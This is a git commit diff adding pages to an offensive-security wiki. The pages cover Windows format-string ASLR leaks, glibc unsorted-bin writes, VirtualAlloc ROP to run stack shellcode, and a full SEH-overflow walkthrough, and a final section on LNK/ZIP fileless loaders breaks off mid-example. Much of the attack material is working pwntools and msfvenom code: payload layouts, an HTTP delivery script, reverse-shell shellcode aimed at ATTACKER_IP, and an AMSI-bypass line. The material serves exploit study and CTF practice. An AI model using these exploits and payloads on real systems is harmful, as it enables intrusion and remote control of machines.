mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks
This commit is contained in:
commit
cfd92c670f
@ -234,6 +234,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
@ -432,6 +433,7 @@
|
||||
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
|
||||
- [IIS - Internet Information Services](network-services-pentesting/pentesting-web/iis-internet-information-services.md)
|
||||
- [ImageMagick Security](network-services-pentesting/pentesting-web/imagemagick-security.md)
|
||||
- [Ispconfig](network-services-pentesting/pentesting-web/ispconfig.md)
|
||||
- [JBOSS](network-services-pentesting/pentesting-web/jboss.md)
|
||||
- [Jira & Confluence](network-services-pentesting/pentesting-web/jira.md)
|
||||
- [Joomla](network-services-pentesting/pentesting-web/joomla.md)
|
||||
@ -777,6 +779,7 @@
|
||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
|
||||
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||
|
@ -153,7 +153,7 @@ Arbitrary reads can be useful to:
|
||||
|
||||
## **Arbitrary Write**
|
||||
|
||||
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the \<num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
|
||||
The formatter **`%<num>$n`** **writes** the **number of written bytes** in the **indicated address** in the <num> param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%<num>$n`** write an arbitrary number in an arbitrary address.
|
||||
|
||||
Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.<num-write>%<num>$n`** to write the number **`<num-write>`** in the **address pointed by the `num` position**.
|
||||
|
||||
@ -227,6 +227,46 @@ p.interactive()
|
||||
|
||||
It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
|
||||
|
||||
|
||||
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||
|
||||
On Windows x64 the first four integer/pointer parameters are passed in registers: RCX, RDX, R8, R9. In many buggy call-sites the attacker-controlled string is used as the format argument but no variadic arguments are provided, for example:
|
||||
|
||||
```c
|
||||
// keyData is fully controlled by the client
|
||||
// _snprintf(dst, len, fmt, ...)
|
||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||
```
|
||||
|
||||
Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.
|
||||
|
||||
Practical workflow:
|
||||
|
||||
- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering.
|
||||
- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as `leak - known_offset`.
|
||||
- Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely.
|
||||
|
||||
Example (abbreviated python):
|
||||
|
||||
```python
|
||||
from pwn import remote
|
||||
|
||||
# Send an input that the vulnerable code will pass as the "format"
|
||||
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
|
||||
io = remote(HOST, 4141)
|
||||
# ... drive protocol to reach the vulnerable snprintf ...
|
||||
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
||||
base = leaked - 0x20660 # module base = leak - offset
|
||||
print(hex(leaked), hex(base))
|
||||
```
|
||||
|
||||
Notes:
|
||||
- The exact offset to subtract is found once during local reversing and then reused (same binary/version).
|
||||
- If "%p" doesn’t print a valid pointer on the first try, try other specifiers ("%llx", "%s") or multiple conversions ("%p %p %p") to sample other argument registers/stack.
|
||||
- This pattern is specific to the Windows x64 calling convention and printf-family implementations that fetch nonexistent varargs from registers when the format string requests them.
|
||||
|
||||
This technique is extremely useful to bootstrap ROP on Windows services compiled with ASLR and no obvious memory disclosure primitives.
|
||||
|
||||
## Other Examples & References
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
@ -240,6 +280,9 @@ It's possible to abuse the write actions of a format string vulnerability to **w
|
||||
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -13,7 +13,9 @@ bins-and-memory-allocations.md
|
||||
|
||||
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
|
||||
|
||||
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack).
|
||||
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A traditional target was **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin attack to a fast bin attack).
|
||||
|
||||
- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive.
|
||||
|
||||
> [!TIP]
|
||||
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
|
||||
@ -27,6 +29,62 @@ So, basically, this attack allows to **set a big number at an arbitrary address*
|
||||
|
||||
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
|
||||
|
||||
### How the write actually happens
|
||||
|
||||
- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list.
|
||||
- During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
|
||||
- If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`.
|
||||
- Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded.
|
||||
|
||||
## Modern constraints (glibc ≥ 2.33)
|
||||
|
||||
To use unsorted‑bin writes reliably on current glibc:
|
||||
|
||||
- Tcache interference: for sizes that fall into tcache, frees are diverted there and won’t touch the unsorted bin. Either
|
||||
- make requests with sizes > MAX_TCACHE_SIZE (≥ 0x410 on 64‑bit by default), or
|
||||
- fill the corresponding tcache bin (7 entries) so that additional frees reach the global bins, or
|
||||
- if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0).
|
||||
- Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified):
|
||||
- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`.
|
||||
- This means the address you target must tolerate two writes: first `*(TARGET) = victim` at free‑time; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large non‑zero value is useful.
|
||||
- Typical stable targets in modern exploits
|
||||
- Application or global state that treats "large" values as flags/limits.
|
||||
- Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later write‐what‐where).
|
||||
- Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note).
|
||||
- About `global_max_fast` on recent glibc
|
||||
- On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies.
|
||||
|
||||
## Minimal exploitation recipe (modern glibc)
|
||||
|
||||
Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing.
|
||||
|
||||
- Layout/grooming
|
||||
- Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk.
|
||||
- Corruption
|
||||
- Overflow from A into B’s chunk header to set `B->bk = (mchunkptr)(TARGET - 0x10)`.
|
||||
- Trigger
|
||||
- `free(B)`. At insertion time the allocator executes `bck->fd = B`, therefore `*(TARGET) = B`.
|
||||
- Continuation
|
||||
- If you plan to continue allocating and the program uses the unsorted bin, expect the allocator to later set `*(TARGET) = unsorted_chunks(av)`. Both values are typically large and may be enough to change size/limit semantics in targets that only check for "big".
|
||||
|
||||
Pseudocode skeleton:
|
||||
|
||||
```c
|
||||
// 64-bit glibc 2.35–2.38 style layout (tcache bypass via large sizes)
|
||||
void *A = malloc(0x5000);
|
||||
void *B = malloc(0x5000);
|
||||
void *C = malloc(0x5000); // guard
|
||||
|
||||
// overflow from A into B’s metadata (prev_size/size/.../bk). You must control B->bk.
|
||||
*(size_t *)((char*)B - 0x8) = (size_t)(TARGET - 0x10); // write fake bk
|
||||
|
||||
free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> • If you cannot bypass tcache with size, fill the tcache bin for the chosen size (7 frees) before freeing the corrupted chunk so the free goes to unsorted.
|
||||
> • If the program immediately aborts on the next allocation due to unsorted-bin checks, re‑examine that `victim->fd` still equals the bin head and that your `TARGET` holds the exact `victim` pointer after the first write.
|
||||
|
||||
## Unsorted Bin Infoleak Attack
|
||||
|
||||
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
|
||||
@ -71,6 +129,10 @@ Then C was deallocated, and consolidated with A+B (but B was still in used). A n
|
||||
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
|
||||
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
|
||||
- `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -79,6 +79,15 @@ In this scenario the attacker could place a shellcode in the stack and abuse the
|
||||
stack-shellcode/
|
||||
{{#endref}}
|
||||
|
||||
### Windows SEH-based exploitation (nSEH/SEH)
|
||||
|
||||
On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
windows-seh-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
### ROP & Ret2... techniques
|
||||
|
||||
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary:
|
||||
@ -202,6 +211,7 @@ Lessons learned:
|
||||
## References
|
||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -76,7 +76,75 @@ This script constructs a payload consisting of a **NOP slide**, the **shellcode*
|
||||
|
||||
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
|
||||
|
||||
## Protections
|
||||
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
|
||||
|
||||
On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.
|
||||
|
||||
Key points (Win64 calling convention):
|
||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||
- RCX = lpAddress → choose an address in the current stack (e.g., RSP) so the newly allocated RWX region overlaps your payload
|
||||
- RDX = dwSize → large enough for your chain + shellcode (e.g., 0x1000)
|
||||
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||
- Return directly into the shellcode placed right after the chain.
|
||||
|
||||
Minimal strategy:
|
||||
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
|
||||
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
|
||||
3) Place stage-2 shellcode immediately after the chain.
|
||||
|
||||
Example layout (conceptual):
|
||||
```
|
||||
# ... padding up to saved RIP ...
|
||||
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
||||
POP_R9_RET; 0x40
|
||||
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
|
||||
POP_R8_RET; 0x1000
|
||||
# RCX = &stack (lpAddress)
|
||||
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
|
||||
# RDX = size (dwSize)
|
||||
POP_RDX_RET; 0x1000
|
||||
# Call VirtualAlloc via the IAT
|
||||
[IAT_VirtualAlloc]
|
||||
# New RWX memory at RCX — execution continues at the next stack qword
|
||||
JMP_SHELLCODE_OR_RET
|
||||
# ---- stage-2 shellcode (x64) ----
|
||||
```
|
||||
|
||||
With a constrained gadget set, you can craft register values indirectly, for example:
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → set r9 from rbx, zero r8, and compensate stack with a junk qword.
|
||||
- xor rbx, rsp; ret → seed rbx with the current stack pointer.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → move RSP-derived value into RCX.
|
||||
|
||||
Pwntools sketch (given a known base and gadgets):
|
||||
```python
|
||||
from pwn import *
|
||||
base = 0x7ff6693b0000
|
||||
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
|
||||
rop = b''
|
||||
# r9 = 0x40
|
||||
rop += p64(base+POP_RBX_RET) + p64(0x40)
|
||||
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
|
||||
# rcx = rsp
|
||||
rop += p64(base+POP_RBX_RET) + p64(0)
|
||||
rop += p64(base+XOR_RBX_RSP_RET)
|
||||
rop += p64(base+PUSH_RBX_POP_RAX_RET)
|
||||
rop += p64(base+MOV_RCX_RAX_RET)
|
||||
# r8 = 0x1000 via arithmetic if no pop r8
|
||||
for _ in range(0x1000//0x40):
|
||||
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
|
||||
# rdx = 0x1000 (use any available gadget)
|
||||
rop += p64(base+POP_RDX_RET) + p64(0x1000)
|
||||
# call VirtualAlloc and land in shellcode
|
||||
rop += p64(IAT_VirtualAlloc)
|
||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||
```
|
||||
|
||||
Tips:
|
||||
- VirtualProtect works similarly if making an existing buffer RX is preferable; the parameter order is different.
|
||||
- If the stack space is tight, allocate RWX elsewhere (RCX=NULL) and jmp to that new region instead of reusing the stack.
|
||||
- Always account for gadgets that adjust RSP (e.g., add rsp, 8; ret) by inserting junk qwords.
|
||||
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **should be disabled** for the address to be reliable across executions or the address where the function will be stored won't be always the same and you would need some leak in order to figure out where is the win function loaded.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) should be also disabled or the compromised EIP return address won't never be followed.
|
||||
@ -94,6 +162,12 @@ The **NOP slide** (`asm('nop')`) is used to increase the chance that execution w
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
164
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
164
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
@ -0,0 +1,164 @@
|
||||
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
SEH-based exploitation is a classic x86 Windows technique that abuses the Structured Exception Handler chain stored on the stack. When a stack buffer overflow overwrites the two 4-byte fields
|
||||
|
||||
- nSEH: pointer to the next SEH record, and
|
||||
- SEH: pointer to the exception handler function
|
||||
|
||||
an attacker can take control of execution by:
|
||||
|
||||
1) Setting SEH to the address of a POP POP RET gadget in a non-protected module, so that when an exception is dispatched the gadget returns into attacker-controlled bytes, and
|
||||
2) Using nSEH to redirect execution (typically a short jump) back into the large overflowing buffer where shellcode resides.
|
||||
|
||||
This technique is specific to 32-bit processes (x86). On modern systems, prefer a module without SafeSEH and ASLR for the gadget. Bad characters often include 0x00, 0x0a, 0x0d (NUL/CR/LF) due to C-strings and HTTP parsing.
|
||||
|
||||
---
|
||||
|
||||
## Finding exact offsets (nSEH / SEH)
|
||||
|
||||
- Crash the process and verify the SEH chain is overwritten (e.g., in x32dbg/x64dbg, check the SEH view).
|
||||
- Send a cyclic pattern as the overflowing data and compute offsets of the two dwords that land in nSEH and SEH.
|
||||
|
||||
Example with peda/GEF/pwntools on a 1000-byte POST body:
|
||||
|
||||
```bash
|
||||
# generate pattern (any tool is fine)
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
|
||||
# or
|
||||
python3 -c "from pwn import *; print(cyclic(1000).decode())"
|
||||
|
||||
# after crash, note the two 32-bit values from SEH view and compute offsets
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
|
||||
# ➜ offsets example: nSEH=660, SEH=664
|
||||
```
|
||||
|
||||
Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible.
|
||||
|
||||
---
|
||||
|
||||
## Choosing a POP POP RET (SEH gadget)
|
||||
|
||||
You need a POP POP RET sequence to unwind the SEH frame and return into your nSEH bytes. Find it in a module without SafeSEH and ideally without ASLR:
|
||||
|
||||
- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`.
|
||||
- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status.
|
||||
|
||||
Pick an address that contains no badchars when written little-endian (e.g., `p32(0x004094D8)`). Prefer gadgets inside the vulnerable binary if protections allow.
|
||||
|
||||
---
|
||||
|
||||
## Jump-back technique (short + near jmp)
|
||||
|
||||
nSEH is only 4 bytes, which fits at most a 2-byte short jump (`EB xx`) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.
|
||||
|
||||
With nasmshell:
|
||||
|
||||
```text
|
||||
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
|
||||
E967FDFFFF
|
||||
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
|
||||
EBF6
|
||||
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
|
||||
E96FFDFFFF
|
||||
```
|
||||
|
||||
Layout idea for a 1000-byte payload with nSEH at offset 660:
|
||||
|
||||
```python
|
||||
buffer_length = 1000
|
||||
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
|
||||
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
|
||||
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
|
||||
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
|
||||
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
|
||||
payload += b"D" * (buffer_length - len(payload))
|
||||
```
|
||||
|
||||
Execution flow:
|
||||
- Exception occurs, dispatcher uses overwritten SEH.
|
||||
- POP POP RET unwinds into our nSEH.
|
||||
- nSEH executes `jmp short -8` into the 5-byte near jump.
|
||||
- Near jump lands at the beginning of our buffer where the NOP sled + shellcode reside.
|
||||
|
||||
---
|
||||
|
||||
## Bad characters
|
||||
|
||||
Build a full badchar string and compare the stack memory after the crash, removing bytes that are mangled by the target parser. For HTTP-based overflows, `\x00\x0a\x0d` are almost always excluded.
|
||||
|
||||
```python
|
||||
badchars = bytes([x for x in range(1,256)])
|
||||
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Shellcode generation (x86)
|
||||
|
||||
Use msfvenom with your badchars. A small NOP sled helps tolerate landing variance.
|
||||
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f python -v sc
|
||||
```
|
||||
|
||||
If generating on the fly, the hex format is convenient to embed and unhex in Python:
|
||||
|
||||
```bash
|
||||
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||
-b "\x00\x0a\x0d" -f hex
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Delivering over HTTP (precise CRLF + Content-Length)
|
||||
|
||||
When the vulnerable vector is an HTTP request body, craft a raw request with exact CRLFs and Content-Length so the server reads the entire overflowing body.
|
||||
|
||||
```python
|
||||
# pip install pwntools
|
||||
from pwn import remote
|
||||
host, port = "<TARGET_IP>", 8080
|
||||
body = b"A" * 1000 # replace with the SEH-aware buffer above
|
||||
req = f"""POST / HTTP/1.1
|
||||
Host: {host}:{port}
|
||||
User-Agent: curl/8.5.0
|
||||
Accept: */*
|
||||
Content-Length: {len(body)}
|
||||
Connection: close
|
||||
|
||||
""".replace('\n','\r\n').encode() + body
|
||||
p = remote(host, port)
|
||||
p.send(req)
|
||||
print(p.recvall(timeout=0.5))
|
||||
p.close()
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Tooling
|
||||
|
||||
- x32dbg/x64dbg to observe SEH chain and triage the crash.
|
||||
- ERC.Xdbg (x64dbg plugin) to enumerate SEH gadgets: `ERC --SEH`.
|
||||
- Mona as an alternative: `!mona modules`, `!mona seh`.
|
||||
- nasmshell to assemble short/near jumps and copy raw opcodes.
|
||||
- pwntools to craft precise network payloads.
|
||||
|
||||
---
|
||||
|
||||
## Notes and caveats
|
||||
|
||||
- Only applies to x86 processes. x64 uses a different SEH scheme and SEH-based exploitation is generally not viable.
|
||||
- Prefer gadgets in modules without SafeSEH and ASLR; otherwise, find an unprotected module loaded into the process.
|
||||
- Service watchdogs that automatically restart on crash can make iterative exploit development easier.
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
- [ERC.Xdbg – Exploit Research Plugin for x64dbg (SEH search)](https://github.com/Andy53/ERC.Xdbg)
|
||||
- [Corelan – Exploit writing tutorial part 7 (SEH)](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-7-unicode-0day-buffer-overflow-seh-and-venetian-shellcode/)
|
||||
- [Mona.py – WinDbg/Immunity helper](https://github.com/corelan/mona)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -21,7 +21,7 @@ DOCX files referencing a remote template (File –Options –Add-ins –Manage:
|
||||
### External Image Load
|
||||
|
||||
Go to: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://\<ip>/whatever
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
@ -167,6 +167,57 @@ Don't forget that you cannot only steal the hash or the authentication but also
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Highly effective campaigns deliver a ZIP that contains two legitimate decoy documents (PDF/DOCX) and a malicious .lnk. The trick is that the actual PowerShell loader is stored inside the ZIP’s raw bytes after a unique marker, and the .lnk carves and runs it fully in memory.
|
||||
|
||||
Typical flow implemented by the .lnk PowerShell one-liner:
|
||||
|
||||
1) Locate the original ZIP in common paths: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, and the parent of the current working directory.
|
||||
2) Read the ZIP bytes and find a hardcoded marker (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload.
|
||||
3) Copy the ZIP to %ProgramData%, extract there, and open the decoy .docx to appear legitimate.
|
||||
4) Bypass AMSI for the current process: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuscate the next stage (e.g., remove all # characters) and execute it in memory.
|
||||
|
||||
Example PowerShell skeleton to carve and run the embedded stage:
|
||||
|
||||
```powershell
|
||||
